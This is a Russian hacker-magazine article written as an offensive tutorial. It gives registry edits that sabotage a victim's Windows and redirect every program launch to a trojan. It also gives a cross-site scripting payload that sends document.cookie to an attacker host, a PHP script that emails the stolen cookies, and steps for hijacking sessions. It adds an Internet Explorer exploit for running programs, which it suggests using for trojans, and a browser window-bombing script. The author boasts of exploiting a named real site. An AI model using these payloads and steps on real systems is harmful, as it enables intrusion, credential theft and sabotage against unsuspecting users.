книги хакеры / журнал хакер / 042_Optimized

Значение этого ключа надо поменять на что-нибудь вроде "c:\windows" - таким макаром у чувака в "Пуске" вообще ничего не останется ;))), ведь этим key'ем указывается путь до директории с элементами "Главного меню". Теперь давай апгрейдить "Мой компьютер". HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\ NoDrives=1 - теперь в "Его Компьютере" нету дисков ;). HKEY_CLASSES_ROOT\exefile\shell\open\command\(По умолчанию)=trojan.exe

теперь при попытке выполнить любой екзешник, перец пустит твоего трояна. ["(по умолчанию)" - это название ключа.]

HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Control\FileSystem\Win31FileSystem поставь равной "1", а Win95TruncatedExtensions, соответственно, "0". FileSystem31=1, а, стало быть, хана виндам ;).

Все. Мено "Пуск" девственно пусто, при попытке запустить exe'шник, десятками взлетают полиморфные вирусы, а в "моем компе" нету дисков ;). Чувак в дауне, а мы переходим к более серьезным вещам - краже сдобных изделий ака cookies.

/* Крадем выпечку */

Давай перво-наперво разберемся, зачем тебе красть чужое печенье. Вкусно - раз. Питательно - два. Ну а в третьих, в нем может оказаться пароль к какомунибудь

web-сервису ;). Например, ты нашел бажный форум и знаешь, что пароль администратора пишется в cookies (ну или не знаешь, а пытаешься это выяснить ;).

Или, скажем, идентификатор сеанса пользователя хранится в кукисах (на веб-почтах такое очень часто встречается, да везде, где есть "персональная страничка пользователя" - у провайдеров в том числе). Следует пояснить, как работает эта самая система сеансов.

Пользователь вводит комбинацию login+password, если все верно, скрипт кидает ему плюшку типа access="hjfkk9...jv7645vj", длиннющее значение

которой генерится рандомайзером. Далее в базу данных пишется примерно такая строчка: id|access|time

id - ИД юзера, access - сгенеренная строчка из кукиса, time - время ее установки в секундах с начала эпохи. Дальше юзер идет, например, на страничку отправки почты, и mail-скрипту уже не передаются логин и пасс - он сам берет ID сеанса из горки печенья и идентифицирует пользователя, используя запись в базе данных. Дальше юзер, отправив почту, закрывает окно браузера, но кукис то остался! А тут злой хацкер Вася кинул в форуме мессагу, чувак ее читает, Вася выкрадывает куку и ломится на почту - пускают ;). Вот очень примерная схема атаки.

Но довольно теории, перейдем к практике: тебе требуется найти уязвимый скрипт. Для этого необходимо осмотреть ломаемый сайт на предмет наличия форумов, досок объявлений, чатов, автоматических FAQов, гостевых книг и прочей муры, которая, благо, в изобилии имеется и на "настоящих виртуальных серверах Вячеславов Григорьевичей', и на серьезных порталах.

Далее во все возможные поля формы загоняются какие-нибудь HTML-теги, например: <font color=red size=8><b><center>Hey, admin! You've got CSS-vulnerability in megascript.php!</center></b></font> Разумеется, было бы неразумным так вот демонстрировать админу уязвимость, пропатчит ;(. Поэтому давай-ка сперва ограничимся чем-нибудь незаметным. Например, комментарием: <!-- Vulnerable ! //-->.

После того, как мессага успешно запишется, всмотрись в html-код страницы с твоим сообщением. Если все пучком, то там ты найдешь свой комментарий, причем без изменений.

Если же там находится что-то вроде <!-- Vulnerable ! //--> , то кодер не дебил, а ты в обломе ;(.

Кстати, не так чтобы уж слишком давно (пол года назад, примерно), я, совершенно случайно, нашел такой баг в форуме на сайте ng.ru - паге вполне серьезной офлайновой газеты, причем админ упорно не патчил дыру. Я месяц развлекался, а потом просто надоело смотреть их баннеры и я забил на это дело. Вполне возможно, что уязвимость там до сих пор есть, а сайт станет плацдармом для опытов многих сотен российских хацкеров ;). Вперед, только не забудь включить proxy: по 273, конечно, не загремишь, но портить отношения с провайдером не к чему.

CROSS SITE SCRIPTING

Кислицин Никита aka Nikitos (nikitoz@fromru.com)

Итак, ты нашел уязвимый скрипт. Загоняй в сообщение вот это:

<script>

window.location.href='http://hacker/hack.php?cookie='+document.co

okie;

</script>

Сей код скинет все кукисы в скрипт hack.php в виде строковой переменной $cookie, которая выглядит следующим образом: cookie=cool; cookie_1=cool_1; cookie_2=cool_2; т.д. ; т.п. Разумеется, надо написать небольшой скриптик, который скинет тебе на почту сообщение с украденной инфой. Тут ты, конечно, волен поступить, как хочешь, но я все же дам наработку:

<? if(isset($cookie))

{

mail("xaxor@xakep.ru", "Украденное печенье!", "$cookie");

}

?>

Скрипту надо выдать достаточные для выполнения права (chmod 755, например), а web-сервер должен быть настроен на отправку почты.

Что делать с украденным печеньем? Не знаю, тут все очень сильно зависит от случая. Если ты спер куку, идентифицирующую сеанс - БЕГОМ несись на хост, который прописан в кукисе и ищи, куда бы этот идентификатор вставить. Проще всего это сделать путем открытия собственного сеанса - так ты узнаешь имя скрипта, работающего со стыренными куками и передаваемые ему переменные. Поэтому, чтобы не терять на этом времени, все делается заранее. Удивлен, почему я постоянно говорю про время? Верно, кука у тебя в кармане, и никуда от тебя не денется. Но помнишь, когда я рассказывал, как работает система сеансов, я упоминул про то, что в базу данных пишется время установки кукиса. Ну так вот, в любой нормальной системе проверяется разность между текущим временем и временем, записанным в базе данных. Если она (разность) больше установленного лимита, это свидетельствует о том, что cookie поддельный, следует удалить запись из базы данных и отослать админу IP тачки, которая ломится по этому не валидному кукису. Поэтому чем быстрее ты сработаешь, тем больше у тебя шансов.

Ïðî cookies

/* Запускаем проги! */

Слышал, какой давеча флейм развели: "Ишак позволяет удаленно запускать проги на машине клиента! Работает на всех версиях!" Ну вот, будем запускать. Правда, сфера применения этого бага поуже - моя непатченная НТя спрашивает: реально ли я хочу запустить такое-то приложение, ведь оно без сертификата? :)

9x,

говорят, vulnerable по полной программе. На самом деле, про эту брешь известно уже давно. Просто так уж повелось, что в рунетовские secure-ленты известия приходят с некоторой задержкой ;). Securityfocus, по-моему, писал про баг чуть ли не полтора года назад. Как бы то ни было, набиваем:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec"> <security><exploit>

<![CDATA[

<object id="oFile" classid="clsid:11111111-1111-1111-1111- 111111111111" codebase="c:/winnt/system32/calc.exe"></object>

]]></exploit></security></xml>

где c:\winnt\system32\calc.exe - путь до запускаемой проги.

Толку с этого бага уйма. Ты сможешь запускать своих троянов ;). Т.е. нашел шары в локалке (с доступом в одну директорию, например. Очень часто люди так делают, чтобы обмениваться софтом, музыкой, фильмами и прочей шнягой), залил туда трояна, законнектился с чуваком, прислал ему в аутГЛЮК вышеприведенный код и получил заветный uin/пасс к инету.

Уууу... На javaScript можно ТАКОЕ выписывать ;). Самое безобидное: по экрану летает окно, способное к однополому размножению - на каждом новом кругу открывается еще десяток таких же окошек, что приводит к 100% занятости проца, забиванию памяти и нарастанию свопа вплоть до размеров харда ;). Путево? Представляешь, как возрастет спрос на твои антивирусы! ;)

Ïèøè:

<script language="javascript"> function move_the_window(){ window.open("Http:///jj.htm");

window.resizeTo(screen.width/2,screen.height/2);

window.moveTo(1,1); var x=1;

var y=1; var dx=20; var dy=17; move();

function move(){ while(true){

if(x>=(screen.width)||x<=0) dx=-dx; if(y>=(screen.height)||y<=0) dy=-dy; x+=dx;

y+=dy;

window.moveTo(x,y);

}}}

//var i=0; //while(i<99)

//{

//window.open("Http://vurn/url/srcipt.htm");

//i++;

//}

</script>

<b>Вирусы... вирусы... везде вирусы... Скачай антивирус!;) </body></html>

Этот код заставит окошко броузера скокать по экрану, причем прихлопнуть его по alt+F4 не удастся ;), оно зависает.